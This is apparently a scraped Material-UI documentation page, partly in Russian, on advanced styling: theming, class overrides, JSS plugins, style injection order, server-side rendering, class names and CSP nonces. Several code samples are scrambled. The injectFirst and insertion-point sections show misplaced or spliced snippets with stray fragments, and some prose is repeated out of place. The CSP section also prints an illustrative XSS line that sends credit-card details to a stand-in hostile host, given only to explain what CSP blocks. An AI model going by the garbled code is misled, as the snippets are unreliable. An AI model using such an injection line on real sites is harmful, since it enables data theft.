Дополнительные параметры
В этом разделе описывается более сложное использование @material-ui/core/styles.
Темизация
Add a ThemeProvider
to the top level of your app to pass a theme down the React component tree. Then, you can access the theme object in style functions.
Этот пример создает объект темы для пользовательских компонентов. Если вы собираетесь использовать какие-либо компоненты Material-UI, вам необходимо использовать метод
createTheme()
который обеспечивает более обширную структуру темы. Зайдите в раздел темы, чтобы научиться создавать свою собственную Material-UI тему.
import { ThemeProvider } from '@material-ui/core/styles';
import DeepChild from './my_components/DeepChild';
const theme = {
background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
};
function Theming() {
return (
<ThemeProvider theme={theme}>
<DeepChild />
</ThemeProvider>
);
}
<ThemeProvider theme={themeInstance}>
<DeepChild />
</ThemeProvider>
Доступ к теме в компоненте
Вы можете получить доступ к переменным темы внутри ваших React-компонент.
useTheme
hook
Для использования в функциональных компонентах:
import { useTheme } from '@material-ui/core/styles';
function DeepChild() {
const theme = useTheme();
return <span>{`spacing ${theme.spacing}`}</span>;
}
<ThemeProvider
theme={{
spacing: '8px',
}}
>
<DeepChild />
</ThemeProvider>
withTheme
HOC
Для использования в классовых или функциональных компонентах:
import { withTheme } from '@material-ui/core/styles';
function DeepChildRaw(props) {
return <span>{`spacing ${props.theme.spacing}`}</span>;
}
const DeepChild = withTheme(DeepChildRaw);
Вложенные темы
Вы можете вкладывать несколько theme providers друг в друга. Это может быть очень полезно при работе с различными областями вашего приложения, которые отличаются друг от друга.
<ThemeProvider theme={outerTheme}>
<Child1 />
<ThemeProvider theme={innerTheme}>
<Child2 />
</ThemeProvider>
</ThemeProvider>
Внутренняя тема переопределит вашу внешнюю тему. Вы можете расширить внешнюю тему, предоставив функцию:
<ThemeProvider theme={…} >
<Child1 />
<ThemeProvider theme={outerTheme => ({ darkMode: true, ...outerTheme })}>
<Child2 />
</ThemeProvider>
</ThemeProvider>
Переопределение стилей - classes
prop
The makeStyles
(hook generator) and withStyles
(HOC) APIs allow the creation of multiple style rules per style sheet. Each style rule has its own class name. The class names are provided to the component with the classes
variable. This is particularly useful when styling nested elements in a component.
// A style sheet
const useStyles = makeStyles({
root: {}, // a style rule
label: {}, // a nested style rule
});
function Nested(props) {
const classes = useStyles();
return (
<button className={classes.root}> // 'jss1'
<span className={classes.label}> // 'jss2'
nested
</span>
</button>
);
}
function Parent() {
return <Nested />
}
However, the class names are often non-deterministic. How can a parent component override the style of a nested element?
withStyles
This is the simplest case. the wrapped component accepts a classes
prop, it simply merges the class names provided with the style sheet.
const Nested = withStyles({
root: {}, // a style rule
label: {}, // a nested style rule
})(({ classes }) => (
<button className={classes.root}>
<span className={classes.label}> // 'jss2 my-label'
Nested
</span>
</button>
));
function Parent() {
return <Nested classes={{ label: 'my-label' }} />
}
makeStyles
The hook API requires a bit more work. You have to forward the parent props to the hook as a first argument.
const useStyles = makeStyles({
root: {}, // a style rule
label: {}, // a nested style rule
});
function Nested(props) {
const classes = useStyles(props);
return (
<button className={classes.root}>
<span className={classes.label}> // 'jss2 my-label'
nested
</span>
</button>
);
}
function Parent() {
return <Nested classes={{ label: 'my-label' }} />
}
JSS plugins
JSS использует плагины для расширения своего ядра, позволяя вам выбирать нужные функции, и нести издержки производительности только за ту функциональность, которую вы используете.
Не все плагины доступны в Material-UI по умолчанию. Следующее плагины включены по умолчанию (они является частью jss-preset-default ):
- jss-plugin-rule-value-function
- jss-plugin-global
- jss-plugin-nested
- jss-plugin-camel-case
- jss-plugin-default-unit
- jss-plugin-vendor-prefixer
- jss-plugin-props-sort
Of course, you are free to use additional plugins. Вот пример с плагином jss-rtl.
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
import rtl from 'jss-rtl'
const jss = create({
plugins: [...jssPreset().plugins, rtl()],
});
export default function App() {
return (
<StylesProvider jss={jss}>
...
</StylesProvider>
);
}
String templates
Если вы предпочитаете CSS-синтаксис над JSS, вы можете использовать плагин jss-plugin-template.
const useStyles = makeStyles({
root: `
background: linear-gradient(45deg, #fe6b8b 30%, #ff8e53 90%);
border-radius: 3px;
font-size: 16px;
border: 0;
color: white;
height: 48px;
padding: 0 30px;
box-shadow: 0 3px 5px 2px rgba(255, 105, 135, 0.3);
`,
});
Обратите внимание, что это решение не поддерживает селекторы или вложенные правила.
Порядок внедрения CSS
It's really important to understand how the CSS specificity is calculated by the browser, as it's one of the key elements to know when overriding styles. You are encouraged to read this MDN paragraph: How is specificity calculated?
By default, the style tags are injected last in the <head>
element of the page. They gain more specificity than any other style tags on your page e.g. CSS modules, styled components.
injectFirst
The StylesProvider
component has an injectFirst
prop to inject the style tags first in the head (less priority):
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
import rtl from 'jss-rtl'
const jss = create({
plugins: [...jssPreset().plugins, rtl()],
});
export default function App() {
return (
<StylesProvider jss={jss}>
...
*/}
</StylesProvider>
import { StylesProvider } from '@material-ui/core/styles';
<StylesProvider injectFirst>
{/* Your component tree. Styled components can override Material-UI's styles.
makeStyles
/ withStyles
/ styled
The injection of style tags happens in the same order as the makeStyles
/ withStyles
/ styled
invocations. For instance the color red wins in this case:
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
import rtl from 'jss-rtl'
const jss = create({
plugins: [...jssPreset().plugins, rtl()],
});
export default function App() {
return (
<StylesProvider jss={jss}>
...
However, the class names are often non-deterministic.
The hook call order and the class name concatenation order don't matter.
insertionPoint
JSS provides a mechanism to control this situation. By adding an insertionPoint
within the HTML you can control the order that the CSS rules are applied to your components.
HTML-комментарий
The simplest approach is to add an HTML comment to the <head>
that determines where JSS will inject the styles:
<head>
<!-- jss-insertion-point -->
<link href="...">
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
const jss = create({
...jssPreset(),
// Define a custom insertion point that JSS will look for when injecting the styles into the DOM.
insertionPoint: 'jss-insertion-point',
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
Other HTML elements
Create React App strips HTML comments when creating the production build. To get around this issue, you can provide a DOM element (other than a comment) as the JSS insertion point, for example, a <noscript>
element:
<head>
<noscript id="jss-insertion-point" />
<link href="..." />
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
const styleNode = document.createComment('jss-insertion-point');
document.head.insertBefore(styleNode, document.head.firstChild);
const jss = create({
...jssPreset(),
// Define a custom insertion point that JSS will look for when injecting the styles into the DOM.
insertionPoint: 'jss-insertion-point',
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
JS createComment
codesandbox.io prevents access to the <head>
element. To get around this issue, you can use the JavaScript document.createComment()
API:
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/core/styles';
import rtl from 'jss-rtl'
const jss = create({
plugins: [...jssPreset().plugins, rtl()],
});
export default function App() {
return (
<StylesProvider jss={jss}>
...
insertionPoint: 'jss-insertion-point',
});
export default function App() {
return <StylesProvider jss={jss}>...</StylesProvider>;
}
Server-side rendering
This example returns a string of HTML and inlines the critical CSS required, right before it’s used:
import ReactDOMServer from 'react-dom/server';
import { ServerStyleSheets } from '@material-ui/core/styles';
function render() {
const sheets = new ServerStyleSheets();
const html = ReactDOMServer.renderToString(sheets.collect(<App />));
const css = sheets.toString();
return `
<!DOCTYPE html>
<html>
<head>
<style id="jss-server-side">${css}</style>
</head>
<body>
<div id="root">${html}</div>
</body>
</html>
`;
}
You can follow the server side guide for a more detailed example, or read the ServerStyleSheets
API documentation.
Gatsby
There is an official Gatsby plugin that enables server-side rendering for @material-ui/styles
. Refer to the plugin's page for setup and usage instructions.
Refer to this example Gatsby project for an up-to-date usage example.
Next.js
You need to have a custom pages/_document.js
, then copy this logic to inject the server-side rendered styles into the <head>
element.
Refer to this example project for an up-to-date usage example.
Имена классов
The class names are generated by the class name generator.
По-умолчанию
By default, the class names generated by @material-ui/core/styles
are non-deterministic; you can't rely on them to stay the same. Let's take the following style as an example:
const useStyles = makeStyles({
root: {
opacity: 1,
},
});
This will generate a class name such as makeStyles-root-123
.
You have to use the classes
prop of a component to override the styles. The non-deterministic nature of the class names enables style isolation.
- In development, the class name is:
.makeStyles-root-123
, following this logic:
const sheetName = 'makeStyles';
const ruleName = 'root';
const identifier = 123;
const className = `${sheetName}-${ruleName}-${identifier}`;
- In production, the class name is:
.jss123
, following this logic:
const productionPrefix = 'jss';
const identifier = 123;
const className = `${productionPrefix}-${identifier}`;
With @material-ui/core
The generated class names of the @material-ui/core
components behave differently. When the following conditions are met, the class names are deterministic:
- Only one theme provider is used (No theme nesting)
- The style sheet has a name that starts with
Mui
(all Material-UI components). - The
disableGlobal
option of the class name generator isfalse
(the default).
These conditions are met with the most common use cases of @material-ui/core
. For instance, this style sheet:
const useStyles = makeStyles({
root: { /* … */ },
label: { /* … */ },
outlined: {
/* … */
'&$disabled': { /* … */ },
},
outlinedPrimary: {
/* … */
'&:hover': { /* … */ },
},
disabled: {},
}, { name: 'MuiButton' });
generates the following class names that you can override:
.MuiButton-root { /* … */ }
.MuiButton-label { /* … */ }
.MuiButton-outlined { /* … */ }
.MuiButton-outlined.Mui-disabled { /* … */ }
.MuiButton-outlinedPrimary: { /* … */ }
.MuiButton-outlinedPrimary:hover { /* … */ }
This is a simplification of the @material-ui/core/Button
component's style sheet.
Customization of the TextField can be cumbersome with the classes
API, where you have to define the the classes prop. It's easier to use the default values, as described above. For example:
import styled from 'styled-components';
import { TextField } from '@material-ui/core';
const StyledTextField = styled(TextField)`
label.focused {
color: green; 💚
}
.MuiOutlinedInput-root {
fieldset {
border-color: red; 💔
}
&:hover fieldset {
border-color: yellow; 💛
}
&.Mui-focused fieldset {
border-color: green; 💚
}
}
`;
<NoSsr>
<StyledTextField label="Deterministic" variant="outlined" id="deterministic-outlined-input" />
</NoSsr>
Глобальный CSS
jss-plugin-global
The jss-plugin-global
plugin is installed in the default preset. You can use it to define global class names.
<div className="cssjss-advanced-global-child" />
<div className="child" />
CSS prefixes
JSS uses feature detection to apply the correct prefixes. Don't be surprised if you can't see a specific prefix in the latest version of Chrome. Your browser probably doesn't need it.
Content Security Policy (CSP)
What is CSP and why is it useful?
Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com
the CSP header default-src: 'self';
will allow all assets that are located at https://example.com/*
and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:
<script>
sendCreditCardDetails('https://hostile.example');
</script>
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
You can read more about CSP on the MDN Web Docs.
How does one implement CSP?
In order to use CSP with Material-UI (and JSS), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request. JSS has a great tutorial on how to achieve this with Express and React Helmet. For a basic rundown, continue reading.
A CSP nonce is a Base 64 encoded string. You can generate one like this:
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
It is very important that you use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:
header('Content-Security-Policy')
.set(`default-src 'self'; style-src: 'self' 'nonce-${nonce}';`);
If you are using Server-Side Rendering (SSR), you should pass the nonce in the <style>
tag on the server.
<style
id="jss-server-side"
nonce={nonce}
dangerouslySetInnerHTML={{ __html: sheets.toString() }}
/>
Then, you must pass this nonce to JSS so it can add it to subsequent <style>
tags.
The way that you do this is by passing a <meta property="csp-nonce" content={nonce} />
tag in the <head>
of your HTML. JSS will then, by convention, look for a <meta property="csp-nonce"
tag and use the content
value as the nonce.
You must include this header regardless of whether or not SSR is used. Here is an example of what a fictional header could look like:
<head>
<meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>